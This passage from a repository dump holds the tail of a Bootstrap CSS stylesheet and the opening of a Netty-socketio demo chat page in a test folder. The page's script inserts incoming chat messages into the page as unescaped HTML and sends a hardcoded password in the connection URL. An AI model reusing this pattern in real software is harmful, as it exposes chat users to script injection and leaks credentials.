3px;\n  *zoom: 1;\n  -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);\n     -moz-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);\n          box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);\n}\n\n.pagination li {\n  display: inline;\n}\n\n.pagination a {\n  float: left;\n  padding: 0 14px;\n  line-height: 34px;\n  text-decoration: none;\n  border: 1px solid #ddd;\n  border-left-width: 0;\n}\n\n.pagination a:hover,\n.pagination .active a {\n  background-color: #f5f5f5;\n}\n\n.pagination .active a {\n  color: #999999;\n  cursor: default;\n}\n\n.pagination .disabled span,\n.pagination .disabled a,\n.pagination .disabled a:hover {\n  color: #999999;\n  cursor: default;\n  background-color: transparent;\n}\n\n.pagination li:first-child a {\n  border-left-width: 1px;\n  -webkit-border-radius: 3px 0 0 3px;\n     -moz-border-radius: 3px 0 0 3px;\n          border-radius: 3px 0 0 3px;\n}\n\n.pagination li:last-child a {\n  -webkit-border-radius: 0 3px 3px 0;\n     -moz-border-radius: 0 3px 3px 0;\n          border-radius: 0 3px 3px 0;\n}\n\n.pagination-centered {\n  text-align: center;\n}\n\n.pagination-right {\n  text-align: right;\n}\n\n.pager {\n  margin-bottom: 18px;\n  margin-left: 0;\n  text-align: center;\n  list-style: none;\n  *zoom: 1;\n}\n\n.pager:before,\n.pager:after {\n  display: table;\n  content: \"\";\n}\n\n.pager:after {\n  clear: both;\n}\n\n.pager li {\n  display: inline;\n}\n\n.pager a {\n  display: inline-block;\n  padding: 5px 14px;\n  background-color: #fff;\n  border: 1px solid #ddd;\n  -webkit-border-radius: 15px;\n     -moz-border-radius: 15px;\n          border-radius: 15px;\n}\n\n.pager a:hover {\n  text-decoration: none;\n  background-color: #f5f5f5;\n}\n\n.pager .next a {\n  float: right;\n}\n\n.pager .previous a {\n  float: left;\n}\n\n.pager .disabled a,\n.pager .disabled a:hover {\n  color: #999999;\n  cursor: default;\n  background-color: #fff;\n}\n\n.modal-open .dropdown-menu {\n  z-index: 2050;\n}\n\n.modal-open .dropdown.open {\n  *z-index: 2050;\n}\n\n.modal-open .popover {\n  z-index: 2060;\n}\n\n.modal-open .tooltip {\n  z-index: 2070;\n}\n\n.modal-backdrop {\n  position: fixed;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 1040;\n  background-color: #000000;\n}\n\n.modal-backdrop.fade {\n  opacity: 0;\n}\n\n.modal-backdrop,\n.modal-backdrop.fade.in {\n  opacity: 0.8;\n  filter: alpha(opacity=80);\n}\n\n.modal {\n  position: fixed;\n  top: 50%;\n  left: 50%;\n  z-index: 1050;\n  width: 560px;\n  margin: -250px 0 0 -280px;\n  overflow: auto;\n  background-color: #ffffff;\n  border: 1px solid #999;\n  border: 1px solid rgba(0, 0, 0, 0.3);\n  *border: 1px solid #999;\n  -webkit-border-radius: 6px;\n     -moz-border-radius: 6px;\n          border-radius: 6px;\n  -webkit-box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3);\n     -moz-box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3);\n          box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3);\n  -webkit-background-clip: padding-box;\n     -moz-background-clip: padding-box;\n          background-clip: padding-box;\n}\n\n.modal.fade {\n  top: -25%;\n  -webkit-transition: opacity 0.3s linear, top 0.3s ease-out;\n     -moz-transition: opacity 0.3s linear, top 0.3s ease-out;\n      -ms-transition: opacity 0.3s linear, top 0.3s ease-out;\n       -o-transition: opacity 0.3s linear, top 0.3s ease-out;\n          transition: opacity 0.3s linear, top 0.3s ease-out;\n}\n\n.modal.fade.in {\n  top: 50%;\n}\n\n.modal-header {\n  padding: 9px 15px;\n  border-bottom: 1px solid #eee;\n}\n\n.modal-header .close {\n  margin-top: 2px;\n}\n\n.modal-body {\n  max-height: 400px;\n  padding: 15px;\n  overflow-y: auto;\n}\n\n.modal-form {\n  margin-bottom: 0;\n}\n\n.modal-footer {\n  padding: 14px 15px 15px;\n  margin-bottom: 0;\n  text-align: right;\n  background-color: #f5f5f5;\n  border-top: 1px solid #ddd;\n  -webkit-border-radius: 0 0 6px 6px;\n     -moz-border-radius: 0 0 6px 6px;\n          border-radius: 0 0 6px 6px;\n  *zoom: 1;\n  -webkit-box-shadow: inset 0 1px 0 #ffffff;\n     -moz-box-shadow: inset 0 1px 0 #ffffff;\n          box-shadow: inset 0 1px 0 #ffffff;\n}\n\n.modal-footer:before,\n.modal-footer:after {\n  display: table;\n  content: \"\";\n}\n\n.modal-footer:after {\n  clear: both;\n}\n\n.modal-footer .btn + .btn {\n  margin-bottom: 0;\n  margin-left: 5px;\n}\n\n.modal-footer .btn-group .btn + .btn {\n  margin-left: -1px;\n}\n\n.tooltip {\n  position: absolute;\n  z-index: 1020;\n  display: block;\n  padding: 5px;\n  font-size: 11px;\n  opacity: 0;\n  filter: alpha(opacity=0);\n  visibility: visible;\n}\n\n.tooltip.in {\n  opacity: 0.8;\n  filter: alpha(opacity=80);\n}\n\n.tooltip.top {\n  margin-top: -2px;\n}\n\n.tooltip.right {\n  margin-left: 2px;\n}\n\n.tooltip.bottom {\n  margin-top: 2px;\n}\n\n.tooltip.left {\n  margin-left: -2px;\n}\n\n.tooltip.top .tooltip-arrow {\n  bottom: 0;\n  left: 50%;\n  margin-left: -5px;\n  border-top: 5px solid #000000;\n  border-right: 5px solid transparent;\n  border-left: 5px solid transparent;\n}\n\n.tooltip.left .tooltip-arrow {\n  top: 50%;\n  right: 0;\n  margin-top: -5px;\n  border-top: 5px solid transparent;\n  border-bottom: 5px solid transparent;\n  border-left: 5px solid #000000;\n}\n\n.tooltip.bottom .tooltip-arrow {\n  top: 0;\n  left: 50%;\n  margin-left: -5px;\n  border-right: 5px solid transparent;\n  border-bottom: 5px solid #000000;\n  border-left: 5px solid transparent;\n}\n\n.tooltip.right .tooltip-arrow {\n  top: 50%;\n  left: 0;\n  margin-top: -5px;\n  border-top: 5px solid transparent;\n  border-right: 5px solid #000000;\n  border-bottom: 5px solid transparent;\n}\n\n.tooltip-inner {\n  max-width: 200px;\n  padding: 3px 8px;\n  color: #ffffff;\n  text-align: center;\n  text-decoration: none;\n  background-color: #000000;\n  -webkit-border-radius: 4px;\n     -moz-border-radius: 4px;\n          border-radius: 4px;\n}\n\n.tooltip-arrow {\n  position: absolute;\n  width: 0;\n  height: 0;\n}\n\n.popover {\n  position: absolute;\n  top: 0;\n  left: 0;\n  z-index: 1010;\n  display: none;\n  padding: 5px;\n}\n\n.popover.top {\n  margin-top: -5px;\n}\n\n.popover.right {\n  margin-left: 5px;\n}\n\n.popover.bottom {\n  margin-top: 5px;\n}\n\n.popover.left {\n  margin-left: -5px;\n}\n\n.popover.top .arrow {\n  bottom: 0;\n  left: 50%;\n  margin-left: -5px;\n  border-top: 5px solid #000000;\n  border-right: 5px solid transparent;\n  border-left: 5px solid transparent;\n}\n\n.popover.right .arrow {\n  top: 50%;\n  left: 0;\n  margin-top: -5px;\n  border-top: 5px solid transparent;\n  border-right: 5px solid #000000;\n  border-bottom: 5px solid transparent;\n}\n\n.popover.bottom .arrow {\n  top: 0;\n  left: 50%;\n  margin-left: -5px;\n  border-right: 5px solid transparent;\n  border-bottom: 5px solid #000000;\n  border-left: 5px solid transparent;\n}\n\n.popover.left .arrow {\n  top: 50%;\n  right: 0;\n  margin-top: -5px;\n  border-top: 5px solid transparent;\n  border-bottom: 5px solid transparent;\n  border-left: 5px solid #000000;\n}\n\n.popover .arrow {\n  position: absolute;\n  width: 0;\n  height: 0;\n}\n\n.popover-inner {\n  width: 280px;\n  padding: 3px;\n  overflow: hidden;\n  background: #000000;\n  background: rgba(0, 0, 0, 0.8);\n  -webkit-border-radius: 6px;\n     -moz-border-radius: 6px;\n          border-radius: 6px;\n  -webkit-box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3);\n     -moz-box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3);\n          box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3);\n}\n\n.popover-title {\n  padding: 9px 15px;\n  line-height: 1;\n  background-color: #f5f5f5;\n  border-bottom: 1px solid #eee;\n  -webkit-border-radius: 3px 3px 0 0;\n     -moz-border-radius: 3px 3px 0 0;\n          border-radius: 3px 3px 0 0;\n}\n\n.popover-content {\n  padding: 14px;\n  background-color: #ffffff;\n  -webkit-border-radius: 0 0 3px 3px;\n     -moz-border-radius: 0 0 3px 3px;\n          border-radius: 0 0 3px 3px;\n  -webkit-background-clip: padding-box;\n     -moz-background-clip: padding-box;\n          background-clip: padding-box;\n}\n\n.popover-content p,\n.popover-content ul,\n.popover-content ol {\n  margin-bottom: 0;\n}\n\n.thumbnails {\n  margin-left: -20px;\n  list-style: none;\n  *zoom: 1;\n}\n\n.thumbnails:before,\n.thumbnails:after {\n  display: table;\n  content: \"\";\n}\n\n.thumbnails:after {\n  clear: both;\n}\n\n.row-fluid .thumbnails {\n  margin-left: 0;\n}\n\n.thumbnails > li {\n  float: left;\n  margin-bottom: 18px;\n  margin-left: 20px;\n}\n\n.thumbnail {\n  display: block;\n  padding: 4px;\n  line-height: 1;\n  border: 1px solid #ddd;\n  -webkit-border-radius: 4px;\n     -moz-border-radius: 4px;\n          border-radius: 4px;\n  -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.075);\n     -moz-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.075);\n          box-shadow: 0 1px 1px rgba(0, 0, 0, 0.075);\n}\n\na.thumbnail:hover {\n  border-color: #0088cc;\n  -webkit-box-shadow: 0 1px 4px rgba(0, 105, 214, 0.25);\n     -moz-box-shadow: 0 1px 4px rgba(0, 105, 214, 0.25);\n          box-shadow: 0 1px 4px rgba(0, 105, 214, 0.25);\n}\n\n.thumbnail > img {\n  display: block;\n  max-width: 100%;\n  margin-right: auto;\n  margin-left: auto;\n}\n\n.thumbnail .caption {\n  padding: 9px;\n}\n\n.label,\n.badge {\n  font-size: 10.998px;\n  font-weight: bold;\n  line-height: 14px;\n  color: #ffffff;\n  text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);\n  white-space: nowrap;\n  vertical-align: baseline;\n  background-color: #999999;\n}\n\n.label {\n  padding: 1px 4px 2px;\n  -webkit-border-radius: 3px;\n     -moz-border-radius: 3px;\n          border-radius: 3px;\n}\n\n.badge {\n  padding: 1px 9px 2px;\n  -webkit-border-radius: 9px;\n     -moz-border-radius: 9px;\n          border-radius: 9px;\n}\n\na.label:hover,\na.badge:hover {\n  color: #ffffff;\n  text-decoration: none;\n  cursor: pointer;\n}\n\n.label-important,\n.badge-important {\n  background-color: #b94a48;\n}\n\n.label-important[href],\n.badge-important[href] {\n  background-color: #953b39;\n}\n\n.label-warning,\n.badge-warning {\n  background-color: #f89406;\n}\n\n.label-warning[href],\n.badge-warning[href] {\n  background-color: #c67605;\n}\n\n.label-success,\n.badge-success {\n  background-color: #468847;\n}\n\n.label-success[href],\n.badge-success[href] {\n  background-color: #356635;\n}\n\n.label-info,\n.badge-info {\n  background-color: #3a87ad;\n}\n\n.label-info[href],\n.badge-info[href] {\n  background-color: #2d6987;\n}\n\n.label-inverse,\n.badge-inverse {\n  background-color: #333333;\n}\n\n.label-inverse[href],\n.badge-inverse[href] {\n  background-color: #1a1a1a;\n}\n\n@-webkit-keyframes progress-bar-stripes {\n  from {\n    background-position: 40px 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n\n@-moz-keyframes progress-bar-stripes {\n  from {\n    background-position: 40px 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n\n@-ms-keyframes progress-bar-stripes {\n  from {\n    background-position: 40px 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n\n@-o-keyframes progress-bar-stripes {\n  from {\n    background-position: 0 0;\n  }\n  to {\n    background-position: 40px 0;\n  }\n}\n\n@keyframes progress-bar-stripes {\n  from {\n    background-position: 40px 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n\n.progress {\n  height: 18px;\n  margin-bottom: 18px;\n  overflow: hidden;\n  background-color: #f7f7f7;\n  background-image: -moz-linear-gradient(top, #f5f5f5, #f9f9f9);\n  background-image: -ms-linear-gradient(top, #f5f5f5, #f9f9f9);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f5f5f5), to(#f9f9f9));\n  background-image: -webkit-linear-gradient(top, #f5f5f5, #f9f9f9);\n  background-image: -o-linear-gradient(top, #f5f5f5, #f9f9f9);\n  background-image: linear-gradient(top, #f5f5f5, #f9f9f9);\n  background-repeat: repeat-x;\n  -webkit-border-radius: 4px;\n     -moz-border-radius: 4px;\n          border-radius: 4px;\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#f5f5f5', endColorstr='#f9f9f9', GradientType=0);\n  -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);\n     -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);\n          box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);\n}\n\n.progress .bar {\n  width: 0;\n  height: 18px;\n  font-size: 12px;\n  color: #ffffff;\n  text-align: center;\n  text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);\n  background-color: #0e90d2;\n  background-image: -moz-linear-gradient(top, #149bdf, #0480be);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#149bdf), to(#0480be));\n  background-image: -webkit-linear-gradient(top, #149bdf, #0480be);\n  background-image: -o-linear-gradient(top, #149bdf, #0480be);\n  background-image: linear-gradient(top, #149bdf, #0480be);\n  background-image: -ms-linear-gradient(top, #149bdf, #0480be);\n  background-repeat: repeat-x;\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#149bdf', endColorstr='#0480be', GradientType=0);\n  -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);\n     -moz-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);\n          box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);\n  -webkit-box-sizing: border-box;\n     -moz-box-sizing: border-box;\n      -ms-box-sizing: border-box;\n          box-sizing: border-box;\n  -webkit-transition: width 0.6s ease;\n     -moz-transition: width 0.6s ease;\n      -ms-transition: width 0.6s ease;\n       -o-transition: width 0.6s ease;\n          transition: width 0.6s ease;\n}\n\n.progress-striped .bar {\n  background-color: #149bdf;\n  background-image: -o-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -webkit-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -moz-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -ms-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));\n  background-image: linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  -webkit-background-size: 40px 40px;\n     -moz-background-size: 40px 40px;\n       -o-background-size: 40px 40px;\n          background-size: 40px 40px;\n}\n\n.progress.active .bar {\n  -webkit-animation: progress-bar-stripes 2s linear infinite;\n     -moz-animation: progress-bar-stripes 2s linear infinite;\n      -ms-animation: progress-bar-stripes 2s linear infinite;\n       -o-animation: progress-bar-stripes 2s linear infinite;\n          animation: progress-bar-stripes 2s linear infinite;\n}\n\n.progress-danger .bar {\n  background-color: #dd514c;\n  background-image: -moz-linear-gradient(top, #ee5f5b, #c43c35);\n  background-image: -ms-linear-gradient(top, #ee5f5b, #c43c35);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ee5f5b), to(#c43c35));\n  background-image: -webkit-linear-gradient(top, #ee5f5b, #c43c35);\n  background-image: -o-linear-gradient(top, #ee5f5b, #c43c35);\n  background-image: linear-gradient(top, #ee5f5b, #c43c35);\n  background-repeat: repeat-x;\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#ee5f5b', endColorstr='#c43c35', GradientType=0);\n}\n\n.progress-danger.progress-striped .bar {\n  background-color: #ee5f5b;\n  background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));\n  background-image: -webkit-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -moz-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -ms-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -o-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n\n.progress-success .bar {\n  background-color: #5eb95e;\n  background-image: -moz-linear-gradient(top, #62c462, #57a957);\n  background-image: -ms-linear-gradient(top, #62c462, #57a957);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#62c462), to(#57a957));\n  background-image: -webkit-linear-gradient(top, #62c462, #57a957);\n  background-image: -o-linear-gradient(top, #62c462, #57a957);\n  background-image: linear-gradient(top, #62c462, #57a957);\n  background-repeat: repeat-x;\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#62c462', endColorstr='#57a957', GradientType=0);\n}\n\n.progress-success.progress-striped .bar {\n  background-color: #62c462;\n  background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));\n  background-image: -webkit-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -moz-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -ms-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -o-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n\n.progress-info .bar {\n  background-color: #4bb1cf;\n  background-image: -moz-linear-gradient(top, #5bc0de, #339bb9);\n  background-image: -ms-linear-gradient(top, #5bc0de, #339bb9);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#5bc0de), to(#339bb9));\n  background-image: -webkit-linear-gradient(top, #5bc0de, #339bb9);\n  background-image: -o-linear-gradient(top, #5bc0de, #339bb9);\n  background-image: linear-gradient(top, #5bc0de, #339bb9);\n  background-repeat: repeat-x;\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#5bc0de', endColorstr='#339bb9', GradientType=0);\n}\n\n.progress-info.progress-striped .bar {\n  background-color: #5bc0de;\n  background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));\n  background-image: -webkit-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -moz-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -ms-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -o-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n\n.progress-warning .bar {\n  background-color: #faa732;\n  background-image: -moz-linear-gradient(top, #fbb450, #f89406);\n  background-image: -ms-linear-gradient(top, #fbb450, #f89406);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#fbb450), to(#f89406));\n  background-image: -webkit-linear-gradient(top, #fbb450, #f89406);\n  background-image: -o-linear-gradient(top, #fbb450, #f89406);\n  background-image: linear-gradient(top, #fbb450, #f89406);\n  background-repeat: repeat-x;\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#fbb450', endColorstr='#f89406', GradientType=0);\n}\n\n.progress-warning.progress-striped .bar {\n  background-color: #fbb450;\n  background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));\n  background-image: -webkit-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -moz-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -ms-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -o-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n\n.accordion {\n  margin-bottom: 18px;\n}\n\n.accordion-group {\n  margin-bottom: 2px;\n  border: 1px solid #e5e5e5;\n  -webkit-border-radius: 4px;\n     -moz-border-radius: 4px;\n          border-radius: 4px;\n}\n\n.accordion-heading {\n  border-bottom: 0;\n}\n\n.accordion-heading .accordion-toggle {\n  display: block;\n  padding: 8px 15px;\n}\n\n.accordion-toggle {\n  cursor: pointer;\n}\n\n.accordion-inner {\n  padding: 9px 15px;\n  border-top: 1px solid #e5e5e5;\n}\n\n.carousel {\n  position: relative;\n  margin-bottom: 18px;\n  line-height: 1;\n}\n\n.carousel-inner {\n  position: relative;\n  width: 100%;\n  overflow: hidden;\n}\n\n.carousel .item {\n  position: relative;\n  display: none;\n  -webkit-transition: 0.6s ease-in-out left;\n     -moz-transition: 0.6s ease-in-out left;\n      -ms-transition: 0.6s ease-in-out left;\n       -o-transition: 0.6s ease-in-out left;\n          transition: 0.6s ease-in-out left;\n}\n\n.carousel .item > img {\n  display: block;\n  line-height: 1;\n}\n\n.carousel .active,\n.carousel .next,\n.carousel .prev {\n  display: block;\n}\n\n.carousel .active {\n  left: 0;\n}\n\n.carousel .next,\n.carousel .prev {\n  position: absolute;\n  top: 0;\n  width: 100%;\n}\n\n.carousel .next {\n  left: 100%;\n}\n\n.carousel .prev {\n  left: -100%;\n}\n\n.carousel .next.left,\n.carousel .prev.right {\n  left: 0;\n}\n\n.carousel .active.left {\n  left: -100%;\n}\n\n.carousel .active.right {\n  left: 100%;\n}\n\n.carousel-control {\n  position: absolute;\n  top: 40%;\n  left: 15px;\n  width: 40px;\n  height: 40px;\n  margin-top: -20px;\n  font-size: 60px;\n  font-weight: 100;\n  line-height: 30px;\n  color: #ffffff;\n  text-align: center;\n  background: #222222;\n  border: 3px solid #ffffff;\n  -webkit-border-radius: 23px;\n     -moz-border-radius: 23px;\n          border-radius: 23px;\n  opacity: 0.5;\n  filter: alpha(opacity=50);\n}\n\n.carousel-control.right {\n  right: 15px;\n  left: auto;\n}\n\n.carousel-control:hover {\n  color: #ffffff;\n  text-decoration: none;\n  opacity: 0.9;\n  filter: alpha(opacity=90);\n}\n\n.carousel-caption {\n  position: absolute;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  padding: 10px 15px 5px;\n  background: #333333;\n  background: rgba(0, 0, 0, 0.75);\n}\n\n.carousel-caption h4,\n.carousel-caption p {\n  color: #ffffff;\n}\n\n.hero-unit {\n  padding: 60px;\n  margin-bottom: 30px;\n  background-color: #eeeeee;\n  -webkit-border-radius: 6px;\n     -moz-border-radius: 6px;\n          border-radius: 6px;\n}\n\n.hero-unit h1 {\n  margin-bottom: 0;\n  font-size: 60px;\n  line-height: 1;\n  letter-spacing: -1px;\n  color: inherit;\n}\n\n.hero-unit p {\n  font-size: 18px;\n  font-weight: 200;\n  line-height: 27px;\n  color: inherit;\n}\n\n.pull-right {\n  float: right;\n}\n\n.pull-left {\n  float: left;\n}\n\n.hide {\n  display: none;\n}\n\n.show {\n  display: block;\n}\n\n.invisible {\n  visibility: hidden;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_socketio/src/test/java/com/xncoding/jwt/socket/client/html/index.html",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n\n    <meta charset=\"utf-8\"/>\n\n    <title>Demo Chat</title>\n\n    <link href=\"bootstrap.css\" rel=\"stylesheet\">\n\n    <style>\n        body {\n            padding: 20px;\n        }\n\n        #console {\n            height: 400px;\n            overflow: auto;\n        }\n\n        .username-msg {\n            color: orange;\n        }\n\n        .connect-msg {\n            color: green;\n        }\n\n        .disconnect-msg {\n            color: red;\n        }\n\n        .send-msg {\n            color: #888\n        }\n    </style>\n\n\n    <script src=\"js/socket.io/socket.io.js\"></script>\n    <script src=\"js/moment.min.js\"></script>\n    <script src=\"js/jquery-1.10.1.min.js\"></script>\n\n    <script>\n\n        var userName = 'user' + Math.floor((Math.random() * 1000) + 1);\n\n        var socket = io.connect('http://127.0.0.1:9099?username=' + userName + '&password=123456');\n\n        socket.on('connect', function () {\n            output('<span class=\"connect-msg\">Client has connected to the server!</span>');\n        });\n\n        socket.on('chatevent', function (data) {\n            output('<span class=\"username-msg\">' + data.userName + ':</span> ' + data.message);\n        });\n\n        socket.on('disconnect', function () {\n            output('<span class=\"disconnect-msg\">The client has disconnected!</span>');\n        });\n\n        function sendDisconnect() {\n            socket.disconnect();\n        }\n\n        function sendMessage() {\n            var message = $('#msg').val();\n            $('#msg').val('');\n\n            var jsonObject = {\n                userName: userName,\n                message: message\n            };\n            socket.emit('chatevent', jsonObject, function (data) {\n                output('<span class=\"username-msg\">' + data + '</span> ');\n            });\n        }\n\n        function output(message) {\n            var currentTime = \"<span class='time'>\" + moment().format('HH:mm:ss.SSS') + \"</span>\";\n            var element = $(\"<div>\" + currentTime + \" \" + message + \"</div>\");\n            $('#console').prepend(element);\n        }\n\n        $(document).keydown(function (e) {\n            if (e.keyCode == 13) {\n                $('#send').click();\n            }\n        });\n    </script>\n</head>\n\n<body>\n\n<h1>Netty-socketio Demo Chat</h1>\n\n<br/>\n\n<div id=\"console\" class=\"well\">\n</div>\n\n<form class=\"well form-inline\" onsubmit=\"return false;\">\n    <input id=\"msg\" 